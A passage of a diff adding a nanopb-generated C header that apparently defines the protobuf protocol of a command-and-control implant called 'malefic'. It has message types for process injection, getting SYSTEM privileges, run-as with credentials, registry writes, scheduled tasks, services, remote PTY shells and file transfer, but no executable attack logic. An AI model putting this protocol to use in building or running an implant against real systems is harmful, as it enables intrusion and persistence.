malefic_ExecRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, path, 1) \ +X(a, STATIC, REPEATED, STRING, args, 2) \ +X(a, STATIC, SINGULAR, BOOL, output, 3) \ +X(a, STATIC, SINGULAR, BOOL, singleton, 4) \ +X(a, STATIC, SINGULAR, BOOL, realtime, 5) \ +X(a, STATIC, SINGULAR, UINT32, ppid, 10) +#define malefic_ExecRequest_CALLBACK NULL +#define malefic_ExecRequest_DEFAULT NULL + +#define malefic_ExecResponse_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, INT32, status_code, 1) \ +X(a, STATIC, SINGULAR, BYTES, stdout, 2) \ +X(a, STATIC, SINGULAR, BYTES, stderr, 3) \ +X(a, STATIC, SINGULAR, UINT32, pid, 4) \ +X(a, STATIC, SINGULAR, BOOL, end, 5) +#define malefic_ExecResponse_CALLBACK NULL +#define malefic_ExecResponse_DEFAULT NULL + +#define malefic_BinaryResponse_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, BYTES, data, 1) \ +X(a, STATIC, SINGULAR, BYTES, message, 2) \ +X(a, STATIC, SINGULAR, INT32, status, 3) \ +X(a, STATIC, SINGULAR, STRING, err, 4) +#define malefic_BinaryResponse_CALLBACK NULL +#define malefic_BinaryResponse_DEFAULT NULL + +#define malefic_Modules_FIELDLIST(X, a) \ +X(a, STATIC, REPEATED, STRING, modules, 1) +#define malefic_Modules_CALLBACK NULL +#define malefic_Modules_DEFAULT NULL + +#define malefic_Addons_FIELDLIST(X, a) \ +X(a, STATIC, REPEATED, MESSAGE, addons, 1) +#define malefic_Addons_CALLBACK NULL +#define malefic_Addons_DEFAULT NULL +#define malefic_Addons_addons_MSGTYPE malefic_Addon + +#define malefic_Addon_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, name, 1) \ +X(a, STATIC, SINGULAR, STRING, type, 2) \ +X(a, STATIC, SINGULAR, STRING, depend, 3) +#define malefic_Addon_CALLBACK NULL +#define malefic_Addon_DEFAULT NULL + +#define malefic_LoadModule_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, bundle, 1) \ +X(a, STATIC, SINGULAR, BYTES, bin, 2) +#define malefic_LoadModule_CALLBACK NULL +#define malefic_LoadModule_DEFAULT NULL + +#define malefic_LoadAddon_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, name, 1) \ +X(a, STATIC, SINGULAR, STRING, type, 2) \ +X(a, STATIC, SINGULAR, STRING, depend, 3) \ +X(a, STATIC, SINGULAR, BYTES, bin, 4) +#define malefic_LoadAddon_CALLBACK NULL +#define malefic_LoadAddon_DEFAULT NULL + +#define malefic_ExecuteAddon_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, addon, 1) \ +X(a, STATIC, OPTIONAL, MESSAGE, execute_binary, 2) +#define malefic_ExecuteAddon_CALLBACK NULL +#define malefic_ExecuteAddon_DEFAULT NULL +#define malefic_ExecuteAddon_execute_binary_MSGTYPE malefic_ExecuteBinary + +#define malefic_ExecuteBinary_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, name, 1) \ +X(a, STATIC, SINGULAR, BYTES, bin, 2) \ +X(a, CALLBACK, REPEATED, MESSAGE, param, 3) \ +X(a, STATIC, SINGULAR, STRING, type, 4) \ +X(a, STATIC, SINGULAR, STRING, process_name, 5) \ +X(a, STATIC, REPEATED, STRING, args, 6) \ +X(a, STATIC, SINGULAR, STRING, entry_point, 7) \ +X(a, STATIC, SINGULAR, BYTES, data, 8) \ +X(a, STATIC, SINGULAR, BOOL, output, 9) \ +X(a, STATIC, SINGULAR, UINT32, arch, 10) \ +X(a, STATIC, SINGULAR, UINT32, timeout, 11) \ +X(a, STATIC, OPTIONAL, MESSAGE, sacrifice, 12) \ +X(a, STATIC, SINGULAR, STRING, path, 13) \ +X(a, STATIC, SINGULAR, STRING, context, 14) \ +X(a, STATIC, SINGULAR, UINT32, delay, 15) +#define malefic_ExecuteBinary_CALLBACK pb_default_field_callback +#define malefic_ExecuteBinary_DEFAULT NULL +#define malefic_ExecuteBinary_param_MSGTYPE malefic_ExecuteBinary_ParamEntry +#define malefic_ExecuteBinary_sacrifice_MSGTYPE malefic_SacrificeProcess + +#define malefic_ExecuteBinary_ParamEntry_FIELDLIST(X, a) \ +X(a, CALLBACK, SINGULAR, STRING, key, 1) \ +X(a, CALLBACK, SINGULAR, STRING, value, 2) +#define malefic_ExecuteBinary_ParamEntry_CALLBACK pb_default_field_callback +#define malefic_ExecuteBinary_ParamEntry_DEFAULT NULL + +#define malefic_ExecuteCommand_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, command, 1) \ +X(a, STATIC, OPTIONAL, MESSAGE, sacrifice, 2) +#define malefic_ExecuteCommand_CALLBACK NULL +#define malefic_ExecuteCommand_DEFAULT NULL +#define malefic_ExecuteCommand_sacrifice_MSGTYPE malefic_SacrificeProcess + +#define malefic_UploadRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, name, 1) \ +X(a, STATIC, SINGULAR, STRING, target, 2) \ +X(a, STATIC, SINGULAR, UINT32, priv, 3) \ +X(a, STATIC, SINGULAR, BYTES, data, 4) \ +X(a, STATIC, SINGULAR, BOOL, hidden, 5) \ +X(a, STATIC, SINGULAR, BOOL, override, 6) +#define malefic_UploadRequest_CALLBACK NULL +#define malefic_UploadRequest_DEFAULT NULL + +#define malefic_DownloadRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, path, 1) \ +X(a, STATIC, SINGULAR, STRING, name, 2) \ +X(a, STATIC, SINGULAR, UINT32, buffer_size, 3) \ +X(a, STATIC, SINGULAR, BOOL, dir, 4) \ +X(a, STATIC, SINGULAR, INT32, cur, 5) +#define malefic_DownloadRequest_CALLBACK NULL +#define malefic_DownloadRequest_DEFAULT NULL + +#define malefic_DownloadResponse_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, checksum, 1) \ +X(a, STATIC, SINGULAR, UINT64, size, 2) \ +X(a, STATIC, SINGULAR, INT32, cur, 3) \ +X(a, STATIC, SINGULAR, BYTES, content, 4) +#define malefic_DownloadResponse_CALLBACK NULL +#define malefic_DownloadResponse_DEFAULT NULL + +#define malefic_CurlRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, url, 1) \ +X(a, STATIC, SINGULAR, INT32, timeout, 2) \ +X(a, STATIC, SINGULAR, STRING, method, 3) \ +X(a, STATIC, SINGULAR, BYTES, body, 4) \ +X(a, CALLBACK, REPEATED, MESSAGE, header, 5) \ +X(a, STATIC, SINGULAR, STRING, hostname, 6) +#define malefic_CurlRequest_CALLBACK pb_default_field_callback +#define malefic_CurlRequest_DEFAULT NULL +#define malefic_CurlRequest_header_MSGTYPE malefic_CurlRequest_HeaderEntry + +#define malefic_CurlRequest_HeaderEntry_FIELDLIST(X, a) \ +X(a, CALLBACK, SINGULAR, STRING, key, 1) \ +X(a, CALLBACK, SINGULAR, STRING, value, 2) +#define malefic_CurlRequest_HeaderEntry_CALLBACK pb_default_field_callback +#define malefic_CurlRequest_HeaderEntry_DEFAULT NULL + +#define malefic_ChownRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, path, 1) \ +X(a, STATIC, SINGULAR, STRING, uid, 2) \ +X(a, STATIC, SINGULAR, STRING, gid, 3) \ +X(a, STATIC, SINGULAR, BOOL, recursive, 4) +#define malefic_ChownRequest_CALLBACK NULL +#define malefic_ChownRequest_DEFAULT NULL + +#define malefic_IfconfigResponse_FIELDLIST(X, a) \ +X(a, STATIC, REPEATED, MESSAGE, net_interfaces, 1) +#define malefic_IfconfigResponse_CALLBACK NULL +#define malefic_IfconfigResponse_DEFAULT NULL +#define malefic_IfconfigResponse_net_interfaces_MSGTYPE malefic_NetInterface + +#define malefic_RegistryRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, type, 1) \ +X(a, STATIC, OPTIONAL, MESSAGE, registry, 2) +#define malefic_RegistryRequest_CALLBACK NULL +#define malefic_RegistryRequest_DEFAULT NULL +#define malefic_RegistryRequest_registry_MSGTYPE malefic_Registry + +#define malefic_Registry_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, hive, 1) \ +X(a, STATIC, SINGULAR, STRING, path, 2) \ +X(a, STATIC, SINGULAR, STRING, key, 3) +#define malefic_Registry_CALLBACK NULL +#define malefic_Registry_DEFAULT NULL + +#define malefic_RegistryWriteRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, hive, 1) \ +X(a, STATIC, SINGULAR, STRING, path, 2) \ +X(a, STATIC, SINGULAR, STRING, key, 3) \ +X(a, STATIC, SINGULAR, STRING, string_value, 5) \ +X(a, STATIC, SINGULAR, BYTES, byte_value, 6) \ +X(a, STATIC, SINGULAR, UINT32, dword_value, 7) \ +X(a, STATIC, SINGULAR, UINT64, qword_value, 8) \ +X(a, STATIC, SINGULAR, UINT32, regtype, 10) +#define malefic_RegistryWriteRequest_CALLBACK NULL +#define malefic_RegistryWriteRequest_DEFAULT NULL + +#define malefic_TaskScheduleRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, type, 1) \ +X(a, STATIC, OPTIONAL, MESSAGE, taskschd, 2) +#define malefic_TaskScheduleRequest_CALLBACK NULL +#define malefic_TaskScheduleRequest_DEFAULT NULL +#define malefic_TaskScheduleRequest_taskschd_MSGTYPE malefic_TaskSchedule + +#define malefic_TaskSchedule_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, name, 1) \ +X(a, STATIC, SINGULAR, STRING, path, 2) \ +X(a, STATIC, SINGULAR, STRING, executable_path, 3) \ +X(a, STATIC, SINGULAR, UINT32, trigger_type, 4) \ +X(a, STATIC, SINGULAR, STRING, start_boundary, 5) \ +X(a, STATIC, SINGULAR, STRING, description, 6) \ +X(a, STATIC, SINGULAR, BOOL, enabled, 7) \ +X(a, STATIC, SINGULAR, STRING, last_run_time, 8) \ +X(a, STATIC, SINGULAR, STRING, next_run_time, 9) +#define malefic_TaskSchedule_CALLBACK NULL +#define malefic_TaskSchedule_DEFAULT NULL + +#define malefic_TaskSchedulesResponse_FIELDLIST(X, a) \ +X(a, STATIC, REPEATED, MESSAGE, schedules, 1) +#define malefic_TaskSchedulesResponse_CALLBACK NULL +#define malefic_TaskSchedulesResponse_DEFAULT NULL +#define malefic_TaskSchedulesResponse_schedules_MSGTYPE malefic_TaskSchedule + +#define malefic_ServiceRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, type, 1) \ +X(a, STATIC, OPTIONAL, MESSAGE, service, 2) +#define malefic_ServiceRequest_CALLBACK NULL +#define malefic_ServiceRequest_DEFAULT NULL +#define malefic_ServiceRequest_service_MSGTYPE malefic_ServiceConfig + +#define malefic_ServiceConfig_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, name, 1) \ +X(a, STATIC, SINGULAR, STRING, display_name, 2) \ +X(a, STATIC, SINGULAR, STRING, executable_path, 3) \ +X(a, STATIC, SINGULAR, UINT32, start_type, 4) \ +X(a, STATIC, SINGULAR, UINT32, error_control, 5) \ +X(a, STATIC, SINGULAR, STRING, account_name, 6) +#define malefic_ServiceConfig_CALLBACK NULL +#define malefic_ServiceConfig_DEFAULT NULL + +#define malefic_ServiceStatus_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, UINT32, current_state, 1) \ +X(a, STATIC, SINGULAR, UINT32, process_id, 2) \ +X(a, STATIC, SINGULAR, UINT32, exit_code, 3) \ +X(a, STATIC, SINGULAR, UINT32, checkpoint, 4) \ +X(a, STATIC, SINGULAR, UINT32, wait_hint, 5) +#define malefic_ServiceStatus_CALLBACK NULL +#define malefic_ServiceStatus_DEFAULT NULL + +#define malefic_Service_FIELDLIST(X, a) \ +X(a, STATIC, OPTIONAL, MESSAGE, config, 1) \ +X(a, STATIC, OPTIONAL, MESSAGE, status, 2) +#define malefic_Service_CALLBACK NULL +#define malefic_Service_DEFAULT NULL +#define malefic_Service_config_MSGTYPE malefic_ServiceConfig +#define malefic_Service_status_MSGTYPE malefic_ServiceStatus + +#define malefic_ServicesResponse_FIELDLIST(X, a) \ +X(a, STATIC, REPEATED, MESSAGE, services, 1) +#define malefic_ServicesResponse_CALLBACK NULL +#define malefic_ServicesResponse_DEFAULT NULL +#define malefic_ServicesResponse_services_MSGTYPE malefic_Service + +#define malefic_WmiQueryRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, namespace, 1) \ +X(a, STATIC, REPEATED, STRING, args, 2) +#define malefic_WmiQueryRequest_CALLBACK NULL +#define malefic_WmiQueryRequest_DEFAULT NULL + +#define malefic_WmiMethodRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, namespace, 1) \ +X(a, STATIC, SINGULAR, STRING, class_name, 2) \ +X(a, STATIC, SINGULAR, STRING, method_name, 3) \ +X(a, CALLBACK, REPEATED, MESSAGE, params, 4) +#define malefic_WmiMethodRequest_CALLBACK pb_default_field_callback +#define malefic_WmiMethodRequest_DEFAULT NULL +#define malefic_WmiMethodRequest_params_MSGTYPE malefic_WmiMethodRequest_ParamsEntry + +#define malefic_WmiMethodRequest_ParamsEntry_FIELDLIST(X, a) \ +X(a, CALLBACK, SINGULAR, STRING, key, 1) \ +X(a, CALLBACK, SINGULAR, STRING, value, 2) +#define malefic_WmiMethodRequest_ParamsEntry_CALLBACK pb_default_field_callback +#define malefic_WmiMethodRequest_ParamsEntry_DEFAULT NULL + +#define malefic_RunAsRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, username, 1) \ +X(a, STATIC, SINGULAR, STRING, domain, 2) \ +X(a, STATIC, SINGULAR, STRING, password, 3) \ +X(a, STATIC, SINGULAR, STRING, program, 4) \ +X(a, STATIC, SINGULAR, STRING, args, 5) \ +X(a, STATIC, SINGULAR, BOOL, use_profile, 6) \ +X(a, STATIC, SINGULAR, BOOL, netonly, 7) \ +X(a, STATIC, SINGULAR, BOOL, use_env, 8) +#define malefic_RunAsRequest_CALLBACK NULL +#define malefic_RunAsRequest_DEFAULT NULL + +#define malefic_GetSystem_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, BYTES, bin, 1) \ +X(a, STATIC, SINGULAR, UINT32, pid, 2) +#define malefic_GetSystem_CALLBACK NULL +#define malefic_GetSystem_DEFAULT NULL + +#define malefic_Inject_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, BYTES, bin, 1) \ +X(a, STATIC, SINGULAR, UINT32, pid, 2) +#define malefic_Inject_CALLBACK NULL +#define malefic_Inject_DEFAULT NULL + +#define malefic_Pipe_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, name, 1) \ +X(a, STATIC, SINGULAR, STRING, target, 2) \ +X(a, STATIC, SINGULAR, BYTES, data, 4) +#define malefic_Pipe_CALLBACK NULL +#define malefic_Pipe_DEFAULT NULL + +#define malefic_PipeRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, type, 1) \ +X(a, STATIC, OPTIONAL, MESSAGE, pipe, 2) +#define malefic_PipeRequest_CALLBACK NULL +#define malefic_PipeRequest_DEFAULT NULL +#define malefic_PipeRequest_pipe_MSGTYPE malefic_Pipe + +#define malefic_Switch_FIELDLIST(X, a) \ +X(a, STATIC, REPEATED, STRING, urls, 1) +#define malefic_Switch_CALLBACK NULL +#define malefic_Switch_DEFAULT NULL + +#define malefic_TaskCtrl_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, UINT32, task_id, 1) \ +X(a, STATIC, SINGULAR, STRING, op, 2) +#define malefic_TaskCtrl_CALLBACK NULL +#define malefic_TaskCtrl_DEFAULT NULL + +#define malefic_TaskInfo_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, UINT32, task_id, 1) \ +X(a, STATIC, SINGULAR, UINT64, last, 2) \ +X(a, STATIC, SINGULAR, UINT32, recv_count, 3) \ +X(a, STATIC, SINGULAR, UINT32, send_count, 4) +#define malefic_TaskInfo_CALLBACK NULL +#define malefic_TaskInfo_DEFAULT NULL + +#define malefic_TaskListResponse_FIELDLIST(X, a) \ +X(a, STATIC, REPEATED, MESSAGE, tasks, 1) +#define malefic_TaskListResponse_CALLBACK NULL +#define malefic_TaskListResponse_DEFAULT NULL +#define malefic_TaskListResponse_tasks_MSGTYPE malefic_TaskInfo + +#define malefic_FFmpegRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, action, 1) \ +X(a, STATIC, SINGULAR, STRING, device_name, 2) \ +X(a, STATIC, SINGULAR, STRING, output_format, 3) \ +X(a, STATIC, SINGULAR, STRING, output_path, 4) \ +X(a, STATIC, SINGULAR, STRING, time, 5) +#define malefic_FFmpegRequest_CALLBACK NULL +#define malefic_FFmpegRequest_DEFAULT NULL + +#define malefic_PtyRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, type, 1) \ +X(a, STATIC, SINGULAR, STRING, session_id, 2) \ +X(a, STATIC, SINGULAR, STRING, shell, 3) \ +X(a, STATIC, SINGULAR, UINT32, cols, 4) \ +X(a, STATIC, SINGULAR, UINT32, rows, 5) \ +X(a, STATIC, SINGULAR, BYTES, input_data, 6) \ +X(a, STATIC, SINGULAR, STRING, input_text, 7) \ +X(a, CALLBACK, REPEATED, MESSAGE, params, 8) +#define malefic_PtyRequest_CALLBACK pb_default_field_callback +#define malefic_PtyRequest_DEFAULT NULL +#define malefic_PtyRequest_params_MSGTYPE malefic_PtyRequest_ParamsEntry + +#define malefic_PtyRequest_ParamsEntry_FIELDLIST(X, a) \ +X(a, CALLBACK, SINGULAR, STRING, key, 1) \ +X(a, CALLBACK, SINGULAR, STRING, value, 2) +#define malefic_PtyRequest_ParamsEntry_CALLBACK pb_default_field_callback +#define malefic_PtyRequest_ParamsEntry_DEFAULT NULL + +#define malefic_PtyResponse_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, session_id, 1) \ +X(a, STATIC, SINGULAR, BYTES, output_data, 2) \ +X(a, STATIC, SINGULAR, STRING, output_text, 3) \ +X(a, STATIC, SINGULAR, STRING, error, 4) \ +X(a, STATIC, SINGULAR, BOOL, session_active, 5) \ +X(a, STATIC, REPEATED, STRING, active_sessions, 6) \ +X(a, CALLBACK, REPEATED, MESSAGE, metadata, 7) +#define malefic_PtyResponse_CALLBACK pb_default_field_callback +#define malefic_PtyResponse_DEFAULT NULL +#define malefic_PtyResponse_metadata_MSGTYPE malefic_PtyResponse_MetadataEntry + +#define malefic_PtyResponse_MetadataEntry_FIELDLIST(X, a) \ +X(a, CALLBACK, SINGULAR, STRING, key, 1) \ +X(a, CALLBACK, SINGULAR, STRING, value, 2) +#define malefic_PtyResponse_MetadataEntry_CALLBACK pb_default_field_callback +#define malefic_PtyResponse_MetadataEntry_DEFAULT NULL + +#define malefic_CommonBody_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, name, 1) \ +X(a, STATIC, REPEATED, UINT32, u32_array, 2) \ +X(a, STATIC, REPEATED, UINT64, u64_array, 4) \ +X(a, STATIC, REPEATED, BOOL, bool_array, 6) \ +X(a, STATIC, REPEATED, STRING, string_array, 8) \ +X(a, STATIC, REPEATED, BYTES, bytes_array, 10) +#define malefic_CommonBody_CALLBACK NULL +#define malefic_CommonBody_DEFAULT NULL + +extern const pb_msgdesc_t malefic_Ping_msg; +extern const pb_msgdesc_t malefic_Register_msg; +extern const pb_msgdesc_t malefic_Secure_msg; +extern const pb_msgdesc_t malefic_KeyExchangeRequest_msg; +extern const pb_msgdesc_t malefic_KeyExchangeResponse_msg; +extern const pb_msgdesc_t malefic_Init_msg; +extern const pb_msgdesc_t malefic_SysInfo_msg; +extern const pb_msgdesc_t malefic_Suicide_msg; +extern const pb_msgdesc_t malefic_Request_msg; +extern const pb_msgdesc_t malefic_Request_ParamsEntry_msg; +extern const pb_msgdesc_t malefic_Response_msg; +extern const pb_msgdesc_t malefic_Response_KvEntry_msg; +extern const pb_msgdesc_t malefic_BypassRequest_msg; +extern const pb_msgdesc_t malefic_NetInterface_msg; +extern const pb_msgdesc_t malefic_SockTabEntry_msg; +extern const pb_msgdesc_t malefic_NetstatResponse_msg; +extern const pb_msgdesc_t malefic_Block_msg; +extern const pb_msgdesc_t malefic_ACK_msg; +extern const pb_msgdesc_t malefic_Os_msg; +extern const pb_msgdesc_t malefic_Process_msg; +extern const pb_msgdesc_t malefic_Timer_msg; +extern const pb_msgdesc_t malefic_FileInfo_msg; +extern const pb_msgdesc_t malefic_SacrificeProcess_msg; +extern const pb_msgdesc_t malefic_LsResponse_msg; +extern const pb_msgdesc_t malefic_DriveInfo_msg; +extern const pb_msgdesc_t malefic_EnumDriversResponse_msg; +extern const pb_msgdesc_t malefic_PsResponse_msg; +extern const pb_msgdesc_t malefic_ExecRequest_msg; +extern const pb_msgdesc_t malefic_ExecResponse_msg; +extern const pb_msgdesc_t malefic_BinaryResponse_msg; +extern const pb_msgdesc_t malefic_Modules_msg; +extern const pb_msgdesc_t malefic_Addons_msg; +extern const pb_msgdesc_t malefic_Addon_msg; +extern const pb_msgdesc_t malefic_LoadModule_msg; +extern const pb_msgdesc_t malefic_LoadAddon_msg; +extern const pb_msgdesc_t malefic_ExecuteAddon_msg; +extern const pb_msgdesc_t malefic_ExecuteBinary_msg; +extern const pb_msgdesc_t malefic_ExecuteBinary_ParamEntry_msg; +extern const pb_msgdesc_t malefic_ExecuteCommand_msg; +extern const pb_msgdesc_t malefic_UploadRequest_msg; +extern const pb_msgdesc_t malefic_DownloadRequest_msg; +extern const pb_msgdesc_t malefic_DownloadResponse_msg; +extern const pb_msgdesc_t malefic_CurlRequest_msg; +extern const pb_msgdesc_t malefic_CurlRequest_HeaderEntry_msg; +extern const pb_msgdesc_t malefic_ChownRequest_msg; +extern const pb_msgdesc_t malefic_IfconfigResponse_msg; +extern const pb_msgdesc_t malefic_RegistryRequest_msg; +extern const pb_msgdesc_t malefic_Registry_msg; +extern const pb_msgdesc_t malefic_RegistryWriteRequest_msg; +extern const pb_msgdesc_t malefic_TaskScheduleRequest_msg; +extern const pb_msgdesc_t malefic_TaskSchedule_msg; +extern const pb_msgdesc_t malefic_TaskSchedulesResponse_msg; +extern const pb_msgdesc_t malefic_ServiceRequest_msg; +extern const pb_msgdesc_t malefic_ServiceConfig_msg; +extern const pb_msgdesc_t malefic_ServiceStatus_msg; +extern const pb_msgdesc_t malefic_Service_msg; +extern const pb_msgdesc_t malefic_ServicesResponse_msg; +extern const pb_msgdesc_t malefic_WmiQueryRequest_msg; +extern const pb_msgdesc_t malefic_WmiMethodRequest_msg; +extern const pb_msgdesc_t malefic_WmiMethodRequest_ParamsEntry_msg; +extern const pb_msgdesc_t malefic_RunAsRequest_msg; +extern const pb_msgdesc_t malefic_GetSystem_msg; +extern const pb_msgdesc_t malefic_Inject_msg; +extern const pb_msgdesc_t malefic_Pipe_msg; +extern const pb_msgdesc_t malefic_PipeRequest_msg; +extern const pb_msgdesc_t malefic_Switch_msg; +extern const pb_msgdesc_t malefic_TaskCtrl_msg; +extern const pb_msgdesc_t malefic_TaskInfo_msg; +extern const pb_msgdesc_t malefic_TaskListResponse_msg; +extern const pb_msgdesc_t malefic_FFmpegRequest_msg; +extern const pb_msgdesc_t malefic_PtyRequest_msg; +extern const pb_msgdesc_t malefic_PtyRequest_ParamsEntry_msg; +extern const pb_msgdesc_t malefic_PtyResponse_msg; +extern const pb_msgdesc_t malefic_PtyResponse_MetadataEntry_msg; +extern const pb_msgdesc_t malefic_CommonBody_msg; + +/* Defines for backwards compatibility with code written before nanopb-0.4.0 */ +#define malefic_Ping_fields &malefic_Ping_msg +#define malefic_Register_fields &malefic_Register_msg +#define malefic_Secure_fields &malefic_Secure_msg +#define malefic_KeyExchangeRequest_fields &malefic_KeyExchangeRequest_msg +#define malefic_KeyExchangeResponse_fields &malefic_KeyExchangeResponse_msg +#define malefic_Init_fields &malefic_Init_msg +#define malefic_SysInfo_fields &malefic_SysInfo_msg +#define malefic_Suicide_fields &malefic_Suicide_msg +#define malefic_Request_fields &malefic_Request_msg +#define malefic_Request_ParamsEntry_fields &malefic_Request_ParamsEntry_msg +#define malefic_Response_fields &malefic_Response_msg +#define malefic_Response_KvEntry_fields &malefic_Response_KvEntry_msg +#define malefic_BypassRequest_fields &malefic_BypassRequest_msg +#define malefic_NetInterface_fields &malefic_NetInterface_msg +#define malefic_SockTabEntry_fields &malefic_SockTabEntry_msg +#define malefic_NetstatResponse_fields &malefic_NetstatResponse_msg +#define malefic_Block_fields &malefic_Block_msg +#define malefic_ACK_fields &malefic_ACK_msg +#define malefic_Os_fields &malefic_Os_msg +#define malefic_Process_fields &malefic_Process_msg +#define malefic_Timer_fields &malefic_Timer_msg +#define malefic_FileInfo_fields &malefic_FileInfo_msg +#define malefic_SacrificeProcess_fields &malefic_SacrificeProcess_msg +#define malefic_LsResponse_fields &malefic_LsResponse_msg +#define malefic_DriveInfo_fields &malefic_DriveInfo_msg +#define malefic_EnumDriversResponse_fields &malefic_EnumDriversResponse_msg +#define malefic_PsResponse_fields &malefic_PsResponse_msg +#define malefic_ExecRequest_fields &malefic_ExecRequest_msg +#define malefic_ExecResponse_fields &malefic_ExecResponse_msg +#define malefic_BinaryResponse_fields &malefic_BinaryResponse_msg +#define malefic_Modules_fields &malefic_Modules_msg +#define malefic_Addons_fields &malefic_Addons_msg +#define malefic_Addon_fields &malefic_Addon_msg +#define malefic_LoadModule_fields &malefic_LoadModule_msg +#define malefic_LoadAddon_fields &malefic_LoadAddon_msg +#define malefic_ExecuteAddon_fields &malefic_ExecuteAddon_msg +#define malefic_ExecuteBinary_fields &malefic_ExecuteBinary_msg +#define malefic_ExecuteBinary_ParamEntry_fields &malefic_ExecuteBinary_ParamEntry_msg +#define malefic_ExecuteCommand_fields &malefic_ExecuteCommand_msg +#define malefic_UploadRequest_fields &malefic_UploadRequest_msg +#define malefic_DownloadRequest_fields &malefic_DownloadRequest_msg +#define malefic_DownloadResponse_fields &malefic_DownloadResponse_msg +#define malefic_CurlRequest_fields &malefic_CurlRequest_msg +#define malefic_CurlRequest_HeaderEntry_fields &malefic_CurlRequest_HeaderEntry_msg +#define malefic_ChownRequest_fields &malefic_ChownRequest_msg +#define malefic_IfconfigResponse_fields &malefic_IfconfigResponse_msg +#define malefic_RegistryRequest_fields &malefic_RegistryRequest_msg +#define malefic_Registry_fields &malefic_Registry_msg +#define malefic_RegistryWriteRequest_fields &malefic_RegistryWriteRequest_msg +#define malefic_TaskScheduleRequest_fields &malefic_TaskScheduleRequest_msg +#define malefic_TaskSchedule_fields &malefic_TaskSchedule_msg +#define malefic_TaskSchedulesResponse_fields &malefic_TaskSchedulesResponse_msg +#define malefic_ServiceRequest_fields &malefic_ServiceRequest_msg +#define malefic_ServiceConfig_fields &malefic_ServiceConfig_msg +#define malefic_ServiceStatus_fields &malefic_ServiceStatus_msg +#define malefic_Service_fields &malefic_Service_msg +#define malefic_ServicesResponse_fields &malefic_ServicesResponse_msg +#define malefic_WmiQueryRequest_fields &malefic_WmiQueryRequest_msg +#define malefic_WmiMethodRequest_fields &malefic_WmiMethodRequest_msg +#define malefic_WmiMethodRequest_ParamsEntry_fields &malefic_WmiMethodRequest_ParamsEntry_msg +#define malefic_RunAsRequest_fields &malefic_RunAsRequest_msg +#define malefic_GetSystem_fields &malefic_GetSystem_msg +#define malefic_Inject_fields &malefic_Inject_msg +#define malefic_Pipe_fields &malefic_Pipe_msg +#define malefic_PipeRequest_fields &malefic_PipeRequest_msg +#define malefic_Switch_fields &malefic_Switch_msg +#define malefic_TaskCtrl_fields &malefic_TaskCtrl_msg +#define malefic_TaskInfo_fields &malefic_TaskInfo_msg +#define malefic_TaskListResponse_fields &malefic_TaskListResponse_msg +#define malefic_FFmpegRequest_fields &malefic_FFmpegRequest_msg +#define malefic_PtyRequest_fields &malefic_PtyRequest_msg +#define malefic_PtyRequest_ParamsEntry_fields &malefic_PtyRequest_ParamsEntry_msg +#define malefic_PtyResponse_fields &malefic_PtyResponse_msg +#define malefic_PtyResponse_MetadataEntry_fields &malefic_PtyResponse_MetadataEntry_msg +#define malefic_CommonBody_fields &malefic_CommonBody_msg + +/* Maximum encoded size of messages (where known) */ +/* malefic_Request_size depends on runtime parameters */ +/* malefic_Request_ParamsEntry_size depends on runtime parameters */ +/* malefic_Response_size depends on runtime parameters */ +/* malefic_Response_KvEntry_size depends on runtime parameters */ +/* malefic_ExecuteAddon_size depends on runtime parameters */ +/* malefic_ExecuteBinary_size depends on runtime parameters */ +/* malefic_ExecuteBinary_ParamEntry_size depends on runtime parameters */ +/* malefic_CurlRequest_size depends on runtime parameters */ +/* malefic_CurlRequest_HeaderEntry_size depends on runtime parameters */ +/* malefic_WmiMethodRequest_size depends on runtime parameters */ +/* malefic_WmiMethodRequest_ParamsEntry_size depends on runtime parameters */ +/* malefic_PtyRequest_size depends on runtime parameters */ +/* malefic_PtyRequest_ParamsEntry_size depends on runtime parameters */ +/* malefic_PtyResponse_size depends on runtime parameters */ +/* malefic_PtyResponse_MetadataEntry_size depends on runtime parameters */ +#define MALEFIC_MODULE_PB_H_MAX_SIZE malefic_PsResponse_size +#define malefic_ACK_size 10 +#define malefic_Addon_size 325 +#define malefic_Addons_size 10496 +#define malefic_BinaryResponse_size 8467 +#define malefic_Block_size 4107 +#define malefic_BypassRequest_size 6 +#define malefic_ChownRequest_size 390 +#define malefic_CommonBody_size 74706 +#define malefic_DownloadRequest_size 535 +#define malefic_DownloadResponse_size 4251 +#define malefic_DriveInfo_size 185 +#define 